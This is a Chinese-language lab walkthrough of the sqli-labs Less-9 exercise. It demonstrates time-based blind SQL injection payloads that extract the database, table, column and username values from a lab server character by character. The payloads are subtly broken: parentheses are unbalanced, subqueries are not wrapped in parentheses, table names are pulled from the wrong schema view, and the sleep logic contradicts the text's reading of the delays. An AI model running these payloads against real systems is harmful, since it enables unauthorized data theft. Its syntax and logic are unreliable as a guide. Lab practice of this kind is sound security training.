Less-9
首先我们可以查看一下源代码:
一方面:从标题中我们可以看到这是一个基于时间盲注的单引号注入
另一方面:从之后的“print_r(mysql_error());”来看我们并不可以使用报错注入
最后,我们可以看到可以通过' and 1=1 --+或者' or 1=1 --+来绕过
既然如此,那么我就用延迟注入的方式来注入:
猜解数据库:
payload:http://192.168.11.136/sqli-labs/Less-9?id=1' and if(ascii(substr(database(),1,1))=115),1,sleep(5))--+
从图中可以看到发送了时间延迟,所以猜解正确,所以数据库第一位是“s”
至于后续的猜解与这一个原理相同,这里就不再多说了!最后我们可以猜解到数据库的名称为security。
猜解security的数据表名
http://192.168.11.136/sqli-labs/Less-9/?id=1' and if(ascii(substr(select table_name from information_schema.schemata where table_schema='security' limit 0,1))=101,1,sleep(5))--+
猜测第一个数据表的第一位是e,之后的类似,最后我们可以得到emails
猜测user表的列
http://192.168.11.136/sqli-labs/Less-9?id=1' and if(ascii(substr(select column_name from information_schema.columns where table_name='users' limit 0,1))=101,1,sleep(5))--+
猜测users表的第一个列的第一个字符是i,之后的类推即可!可以得到列名id,username,password
猜测username的字段值
http://192.168.11.136/sqli-labs/Less-9/?id=1' and if(ascii(substr(select username from users limit 0,1))=68,1,sleep(5))--+
之后的内容以此类推就好!